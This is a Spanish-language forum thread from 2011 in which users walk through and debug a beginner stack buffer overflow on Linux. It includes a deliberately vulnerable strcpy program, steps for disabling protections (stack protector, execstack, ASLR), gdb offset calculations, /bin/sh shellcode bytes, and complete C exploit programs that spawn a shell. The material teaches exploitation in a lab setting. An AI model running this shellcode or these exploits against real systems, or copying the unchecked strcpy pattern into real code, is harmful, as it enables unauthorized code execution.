(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$

Vamos, va perfecto...
1) Vemos cuantos bytes le metemos. En este programa dan 40.
2) Ahora, le restamos los bytes de la shellcode:
44 - 4 - 4 - 25 = 11
Los cuarenta y cuatro son para sobreescribir. La primera resta es de la dirección del ret. La segunda es porque al volver se restan cuatro bytes. Entonces tenemos:
11 NOPS + 25 SHELLCODE + 4 RET
3) Calculamos el RET:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running.  Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$
El ret cambia según qué ordenador. Tenéis que calcularlo cada uno...
Ahora ejecutamos...
Código:
x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit  exploit.c  shell  shell.s  vuln  vuln.c
$ exit
juanra@Juanra:~/Escritorio/Shell$

Si aún no va dímelo...
Suerte!


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Belial & Grimoire en 11 Febrero 2011, 19:23 pm
ya desactive randomize_va_space y si estoy utilizando ese mismo codigo, igualmente hice copy paste

para sobreescribir si son 44

44-4-4-25 = 11

al compilar tengo que agregar -g sino me aparece

Citar
(gdb) x/x buffer
No symbol table is loaded.  Use the "file" command.
(gdb) q

para que sobreescriba todo tengo que usar 4 AAAA en vez de 3

Esto no entiendo... tiene que salirme

Código:
0xbffff904:    0x00000000 <----

en vez de esto... o no importa?

Código:
0xbffff40c:	0xb7e9ba75 <-----

Cambie ret

Código:
r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"') <-----

paso a paso

Código:
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x80483fa: file vuln.c, line 7.
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/the-gazette/Desktop/ex/vuln AAAA

Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7
7     strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141

(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffff65e "\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀\f\364\377\277") at vuln.c:7
7     strcpy (buffer, buff);
(gdb) c
Continuing.

Program exited with code 0334.

aumente en 12 solo por la curiosidad de las 4 AAAA y use 10 pero tampoco y use 0xbffff682 y tampoco

para encontrar ret

Código:
(gdb) r AAAA
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA

Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8
8     strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141

salu2


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Garfield07 en 11 Febrero 2011, 19:30 pm
Te compiclas la vida:
11 Nops + 25 Shellcode + 4 ret

Busca tu ret y lo pones...


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Belial & Grimoire en 11 Febrero 2011, 20:15 pm
no... mira, de forma sencilla

Citar
root@lainux:/home/the-gazette/Desktop/ex# echo 0 > /proc/sys/kernel/randomize_va_space
root@lainux:/home/the-gazette/Desktop/ex# cat /proc/sys/kernel/randomize_va_space
0
root@lainux:/home/the-gazette/Desktop/ex# exit
exit
the-gazette@lainux:~/Desktop/ex$ gcc -o vuln vuln.c --no-stack-protector -g -z execstack
the-gazette@lainux:~/Desktop/ex$ ./vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
the-gazette@lainux:~/Desktop/ex$

RET

Citar
(gdb) r AAAA
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA

Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8
8       strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c:   0xb7e9ba75
(gdb) x/x buff
0xbffff682:   0x41414141

si pongo RET con 3 AAA

Citar
(gdb) x/x buffer
0xbffff40c:   0xb7e9ba75
(gdb) x/x buff
0xbffff682:   0x00414141
(gdb)


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Garfield07 en 14 Febrero 2011, 12:30 pm
Claro, es que no estoy poniendo tres ases más...
No sabes que al ejecutar el ret se saca de la pila la dirección que tienes que volver? Por eso al ejecutar el ret todo está cuatro bytes menos...
Te cito de mi blog:
---------------------------------------------------------------------------------------------------------
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería...
15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb) ¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [11];
    memset (nops, '\x90', 11);
    char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    char ret [5] = "\x04\xf9\xff\xbf";

    char command [47];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, shellcode);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$

¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D

Un saludo! Os espero.
Sagrini
---------------------------------------------------------------------------------------------------------
Y primera parte
---------------------------------------------------------------------------------------------------------
Vale, esta entrega va a ir sobre cómo aprovechar un BoF para controlar un programa. Es bastante sencillo...

Primero escribimos un programa típicamente vulnerable.
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

Compilamos y ejecutamos:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$

Como vemos no pasa nada... Si nos fijamos bien en "buffer" sólo caben 36 letras. ¿Y si le metemos más? Pues que el programa se sale...
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "A"x50')
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "A"x50')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x50')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r $(perl -e 'print "A"x40 . "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Pues como vemos las As y las Bs "mueven" el flujo del programa. Entonces... ¿Podemos controlar un programa? Pues sí. Cambiemos el código:
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

int feo ()
{
    printf ("Eres feo!!!");
    exit (0);
}


juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$
Sigue sin pasar nada. Feo nunca se ejecuta :-o. Pero como somos malévolos...

(gdb) x/x feo
0x8048468 <feo>:    0x83e58955
(gdb) r $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')

Breakpoint 1, 0x0804842a in vuln ()
(gdb) c
Continuing.
Eres feo!!!
Program exited normally.
(gdb)
El programa va hacia la función feo y se ejecuta...

Ahora, explicación...

Algunos programas no controlan que los datos que le introduces sean los adecuados. Esto supone que el programa pueda fallar. Si yo le meto 40 ases a un sitio donde caben 36, falla. Pero si le meto 4 más sobreescribo un registro del ordenador que controla la próxima instrucción a ejecutar. Esto hace que podamos controlar el programa.

En la prueba buscamos la dirección de la función "feo" que te dice "Eres feo!!!" y cierra el programa. Esto se consigue con un br (break) vuln, que para el programa en el punto "vuln" y nos dice la dirección del punto de parada. Sobreescribimos con Perl esta dirección... "Eres feo!!!"

Ahora escribamos un exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [40];
    memset (nops, 'A', 40);
    char ret [5] = "\x68\x84\x04\x08";

    char command [51];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Eres feo!!!juanra@Juanra:~/Escritorio/Shell$

Vale, ahora os explico: El programa lo único que hace es introducir 40 ases y la dirección de "feo" en una variable y ejecutar el programa. Con este sencillo método hemos aprendido a explotar una parte de los fallos más comunes...
Os espero en las entregas venideras...
Un saludo!
Sagrini
---------------------------------------------------------------------------------------------------------

Escríbeme por PM las dudas...
Suerte!


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: M3st4ng en 14 Febrero 2011, 17:21 pm
Hola!!
¿Puedes poner el disass de tu main? Además, para ver como se hace la copia de "buff" a la variable "buffer", pon un breakpoint dentro de la función "vuln" antes y después de la llamada a strcpy haciendo "x/100x $esp".

Saludos


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Garfield07 en 16 Febrero 2011, 19:44 pm
Vale, creo que ya lo hemos solucionado. Verdad, Belial & Grimoire?
@M3st4ng, no sé de qué te sirve. Si sigues teniendo dudas, escríbeme. Si no, pásate por mi blog.
Ahora, cosa aparte, releo tu mensaje... No queremos ver cómo se copia. Sencillamente queremos hacer que funcione en su máquina :P

Para saber vuestra dirección de retorno...
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running.  Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$

Para ejecutar el exploit desde la línea de comandos:
Código:
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit  exploit.c  shell  shell.s  vuln  vuln.c
$ whoami
juanra
$ exit
juanra@Juanra:~/Escritorio/Shell$

Exploit en C:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7. char nops [11];
  8. memset (nops, '\x90', 11);
  9. char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  10. char ret [5] = "\x04\xf9\xff\xbf";
  11.  
  12. char command [47];
  13. strcpy (command, "./vuln ");
  14. strcat (command, nops);
  15. strcat (command, shellcode);
  16. strcat (command, ret);
  17. system (command);
  18. }
  19.  


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: M3st4ng en 16 Febrero 2011, 23:40 pm
Hola!!
Los datos que pedía era para ver cómo se estaba sobreescribiendo todos los valores hasta llegar a la dirección de RET en la pila. Lo mejor es poner un breakpoint justo despues de la la función strcpy y ver el estado de la pila, así podremos comprobar qué se ha sobreescrito y con qué valores.
Asi se queda mi pila una vez que se ejecuta strcpy.
Código:
0xbffff5d4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f4:    0x90909090 0x90909090 0x90909090 0x90909090
0xbffff604: 0x90909090 0xeb909090 0x76895e1f 0x88c03108
0xbffff614: 0x46890746 0x890bb00c 0x084e8df3 0xcd0c568d
0xbffff624: 0x89db3180 0x80cd40d8 0xffffdce8    0x69622fff
0xbffff634: 0x68732f6e 0xbffff5e6         0xbffff5e6          0xbffff5e6
0xbffff644: 0xbffff5e6           0xbffff5e6 0xbffff5e6        0xbffff5e6
0xbffff654: 0xbffff5e6         0xbffff5e6         0xbffff5e6

En valor que esta en la dirección 0xbffff658 es el RET y contiene una direccion que apunta a los NOPS

Saludos


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Garfield07 en 16 Febrero 2011, 23:51 pm
Wow, mucho mejor explicado que lo mio! El detalle habría sido continuar el programa ;)
Muchas gracias! Ahora mismo estoy escribiendo el punto 2 del taller (el uno va por parte de Iván xD) y voy a añadirlo para que se vea mejor...